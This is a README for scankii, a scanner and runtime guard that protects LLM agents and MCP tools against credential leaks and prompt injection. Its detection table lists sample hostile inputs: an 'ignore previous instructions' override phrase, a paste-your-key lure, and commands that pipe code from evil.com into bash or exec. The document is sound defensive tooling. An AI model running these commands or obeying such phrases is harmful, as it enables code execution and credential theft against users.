🛡️ scankii — The AI Agent Security Scanner

Version License: MIT Python Tests Buy Me A Coffee

A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.

The only scanner that reads both your English instructions and your Python code — and now guards them at runtime too.


📑 Table of Contents


❓ What is scankii?

When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it skills — a combination of Python code and natural language instructions (Markdown/Prompts).

Standard security scanners check code only. But what happens when your English instructions accidentally tell the agent to expose a secret? Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?

scankii solves this by reading both your natural language instructions and your Python code simultaneously, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.

As of v1.3.0, scankii also provides a runtime security layerscankii.runtime — that sandboxes agent tool calls and isolates process environments, moving protection from static detection to active prevention.


⚠️ Why This Matters: The Agentic Threat Model

In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:

Threat Vector Traditional Scanner scankii
Hardcoded secret in .py file ✅ Catches it ✅ Catches it
Prompt instructs agent to expose secret ❌ Cannot see NL ✅ Cross-modal detection
Agent tool-call leaks key in args ❌ Runtime blind spot @tool_guard intercepts
Agent subprocess inherits host secrets ❌ No env awareness EnvIsolator strips creds
LLM-generated placeholder sk-xxxx ❌ False positive ✅ Entropy filter demotes
AI coding assistant auto-writes secrets ❌ No generated-code context ✅ Allowlist + entropy

The key insight: API key leakage is no longer just a "developer mistake" problem — it's a systemic execution problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.


⚙️ Architecture

scankii runs a four-layer security pipeline:

┌─────────────────────────────────────────────────────────────────┐
│                    scankii v1.3.0 Pipeline                      │
├──────────────────┬──────────────────────────────────────────────┤
│  1. STATIC       │  NL Semantic Analyzer → SKILL.md / prompts   │
│     ANALYSIS     │  AST Syntax Analyzer  → Python / JS source   │
│                  │  Pattern Scanner      → Credential regex     │
├──────────────────┼──────────────────────────────────────────────┤
│  2. CROSS-MODAL  │  Correlates NL intents with code sinks       │
│     CORRELATION  │  Surfaces leaks invisible to either alone    │
├──────────────────┼──────────────────────────────────────────────┤
│  3. ENTROPY      │  Shannon entropy filter removes LLM          │
│     FILTER       │  placeholders — eliminates false positives   │
├──────────────────┼──────────────────────────────────────────────┤
│  4. SCORING &    │  5-axis risk score → CRITICAL/HIGH/MEDIUM/   │
│     REPORTING    │  LOW/DEFER. Terminal + JSON + SARIF output   │
└──────────────────┴──────────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────────────────────────────┐
│               scankii.runtime — Active Defense                  │
├──────────────────┬──────────────────────────────────────────────┤
│  tool_guard      │  Intercepts agent tool-calls; blocks/        │
│                  │  redacts credentials before execution        │
├──────────────────┼──────────────────────────────────────────────┤
│  EnvIsolator     │  Strips credential env vars before agent     │
│                  │  subprocess spawn (strip / audit modes)      │
├──────────────────┼──────────────────────────────────────────────┤
│  SafeLogger /    │  Drop-in print() replacement that redacts    │
│  safe_format_dict│  credentials from logs and tool-call args    │
└──────────────────┴──────────────────────────────────────────────┘

🚀 Quickstart

pip install scankii
scankii scan ./my-agent-skill/ --explain

Sample output:

                   scankii scan: ./vulnerable-skill
┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ File   ┃ Line ┃ Pattern              ┃ Channel ┃ Severity ┃ Confidence ┃
┡━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━┩
│ run.py │    7 │ Cross-Modal Leak     │ stdout  │  MEDIUM  │        82% │
│ run.py │    8 │ Cross-Modal Leak     │ network │ CRITICAL │        96% │
└────────┴──────┴──────────────────────┴─────────┴──────────┴────────────┘

  Total: 2  (CRITICAL: 1, MEDIUM: 1)
  🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)

╭───────────────   Remediation Hints — Secret Scoping    ──────────────────╮
│  OpenAI (sk-...)                                                         │
│    💡 Use: Project-scoped API keys with automatic rotation               │
│    ↳  Create a project-scoped key in the OpenAI dashboard...             │
│    📖 https://platform.openai.com/docs/guides/safety-best-practices      │
╰──────────────────────────────────────────────────────────────────────────╯

📦 Installation & CLI

Requirements: Python 3.10+

pip install scankii

CLI Reference

# Scan a directory (terminal output, default)
scankii scan ./my-agent/

# Show attack flow diagrams
scankii scan ./my-agent/ --explain

# Export JSON report
scankii scan ./my-agent/ --format json

# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif

# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json

# Auto-fix resolvable findings (replaces print → safe_print)
scankii scan ./my-agent/ --resolve

# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH

# Explain findings from a saved JSON report
scankii explain findings.json

--severity-threshold Explained

The --severity-threshold flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:

# Block only on CRITICAL — permissive
scankii scan . --severity-threshold CRITICAL

# Block on HIGH and above — balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH

# Block on MEDIUM and above — strict (default)
scankii scan . --severity-threshold MEDIUM

🛡️ Runtime Security Layer (New in v1.3.0)

scankii.runtime provides drop-in components that defend agent workflows at execution time — after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."

@tool_guard — Agent Tool-Call Interceptor

Wraps any agent tool function and scans its arguments for credentials before the call executes:

from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked

# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
    requests.post(url, json=payload)

# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# → raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")

# Context manager form — overrides decorator policy for a code block
with ToolGuard(policy="redact"):
    agent.run_tool("email", body=f"Token: {token}")
    # token is automatically redacted; call proceeds with sanitised args

Three policies:

Policy Behaviour
block Raises ToolCallBlocked — call never executes
redact Credential replaced with sk-[REDACTED] — call proceeds
warn Logs a warning — call proceeds unchanged (safe for development)

EnvIsolator — Subprocess Environment Sandboxing

Strips credential-like environment variables before spawning agent subprocesses:

from scankii.runtime import EnvIsolator

# Strip mode — actually removes creds from subprocess env
with EnvIsolator():
    subprocess.run(["python", "agent.py"])
    # AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited

# Audit mode — logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
    subprocess.run(["python", "agent.py"])

# Custom allowlist — keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
    subprocess.run(agent_command)

Variables stripped automatically include anything matching patterns for: API_KEY, TOKEN, SECRET, PASSWORD, AWS_*, OPENAI_*, GITHUB_TOKEN, JWT, CONNECTION_STRING, and more.

SafeLogger & safe_print

Drop-in replacements for print() and logging that redact credentials from output:

from scankii.runtime import safe_print, safe_format_dict, SafeLogger

# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# → "Using key: sk-[REDACTED]"

# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# → {"Authorization": "Bearer sk-[REDACTED]"}

# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# → "Calling API with key=sk-[REDACTED]"

🔍 What scankii Detects

scankii covers all OWASP Top 10 for LLM categories relevant to agentic systems:

# Pattern Severity Example
1 Hardcoded API Keys CRITICAL API_KEY = "sk-proj-..."
2 Credential → stdout MEDIUM print(f"key={api_key}")
3 Credential → network CRITICAL requests.post(url, data=token)
4 Cross-Modal Leak HIGH–CRITICAL Prompt says "pass api_key" + code prints it
5 Prompt Injection HIGH "Ignore previous instructions and..."
6 Social Engineering MEDIUM "Paste your API key here to continue"
7 Private Key Exposure CRITICAL -----BEGIN RSA PRIVATE KEY-----
8 Reverse Shell / RCE CRITICAL curl evil.com/x | bash
9 Nested Schema Poisoning HIGH Prompt injection in JSON schema (CVE-2026-25253)
10 MCP Supply-Chain HIGH Base64/Hex hidden payloads in tool descriptions
11 Dynamic Execution HIGH exec(requests.get("evil.com").text)
12 Authority Boundary DEFER Agentic financial transactions requiring a witness

⏳ The DEFER Severity

Some patterns are structurally sound but require a runtime witness to confirm safety — for example, an agent initiating a financial transaction on behalf of a user. scankii marks these DEFER (shown in cyan) to signal: "This needs human review or a runtime mandate check."


🔬 False Positive Filter: Entropy Engine

AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: sk-xxxx, AKIAIOSFODNN7EXAMPLE, your-api-key-here. A naive scanner flags all of these, causing alert fatigue and killing adoption.

scankii v1.3.0 includes an entropy-based false positive filter:

  1. Shannon Entropy — Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to DEFER.
  2. Allowlist — 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g., sk-xxxx, changeme, ${MY_TOKEN}, AKIAIOSFODNN7EXAMPLE, your_api_key_here).

Every finding now carries:

{
  "confidence": 0.94,
  "entropy_score": 4.37,
  "is_likely_placeholder": false
}

The scan summary includes:

🔬 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)

💡 Remediation Advisor

After every scan, scankii automatically surfaces provider-specific advice for switching from long-lived secrets to short-lived, least-privilege alternatives:

Detected Provider Recommended Alternative
sk-... OpenAI Project-scoped keys with rotation
AKIA... AWS STS AssumeRole (1-hour session tokens)
ghp_... GitHub GitHub Apps installation access tokens
AIza... Google Workload Identity Federation
gsk_... Groq Secrets manager injection
xoxb-... Slack OAuth 2.0 scoped tokens
mongodb://... MongoDB X.509 certificates
postgres://... PostgreSQL IAM auth / Vault dynamic credentials
RSA private key PKI SPIFFE/SPIRE ephemeral SVIDs

The advisor skips placeholder findings — you only get hints for real detected secrets.


⚔️ scankii vs. GitLeaks / TruffleHog

Feature TruffleHog GitLeaks scankii
Regex secret scanning
LLM prompt / NL analysis
Cross-modal data leak detection
AST variable sink tracking
Attack flow visualisation
Prompt injection detection
Entropy-based false positive filter Partial
Runtime tool-call interception
Agent subprocess env sandboxing
Provider-specific remediation hints
SARIF output (GitHub Code Scanning)
Local-first (no data leaves machine)

🔌 DevSecOps Integrations

GitHub Actions (CI/CD)

Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:

name: AI Security Guard (scankii)
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install scankii
        run: pip install scankii==1.3.0

      - name: Run scankii
        run: |
          scankii scan ./agent-skills/ \
            --format sarif \
            --output results.sarif \
            --severity-threshold HIGH

      - name: Upload to GitHub Code Scanning
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: results.sarif

Pre-commit Hook

Stop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/ashp15205/scankii
    rev: v1.3.0
    hooks:
      - id: scankii
# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH    # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json  # custom report path

Runtime Integration (Agent Frameworks)

Add scankii runtime guards to any LangChain / AutoGen / CrewAI tool:

from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator

@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
    """Search the codebase for relevant code."""
    # If 'query' somehow contains a credential (e.g. via prompt injection),
    # the call is blocked before it reaches your search backend.
    return code_search.run(query)

# Spawn agent subprocesses safely
with EnvIsolator():
    result = subprocess.run(["python", "agent_worker.py"], capture_output=True)

📁 Project Structure

scankii/
├── core/
│   ├── ast_analyzer.py        # Tree-sitter AST analysis
│   ├── cross_modal.py         # NL ↔ code correlation engine
│   ├── entropy.py             # Shannon entropy + allowlist filter
│   ├── nl_analyzer.py         # Markdown / prompt NL analysis
│   ├── patterns.py            # Credential regex pattern bank
│   └── scorer.py              # 5-axis risk scorer
├── output/
│   ├── cli_reporter.py        # Rich terminal UI reporter
│   ├── explain.py             # Attack flow visualiser
│   ├── json_reporter.py       # JSON report writer
│   └── sarif.py               # SARIF 2.1.0 reporter
├── rules/
│   ├── allowlist.yaml         # LLM placeholder patterns
│   └── credentials.yaml       # Credential detection rules
├── runtime/
│   ├── env_isolator.py        # Agent subprocess env sandboxing
│   ├── safe_logger.py         # Credential-redacting logger
│   └── tool_guard.py          # Agent tool-call interceptor
├── scanner.py                 # Top-level scan orchestrator
├── cli.py                     # Click CLI entry point
└── remediation.py             # Auto-fix + remediation advisor

🤝 Contributing & Support

  1. Fork the repository
  2. Create a feature branch: git checkout -b feature/your-feature
  3. Run the test suite: pytest tests/ -v (178 tests, < 1 second)
  4. Submit a pull request!

Academic Origins

The leakage taxonomy is grounded in empirical AI security research:

Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).

Support the Project

If scankii is useful for securing your AI agents, consider buying me a coffee! ☕️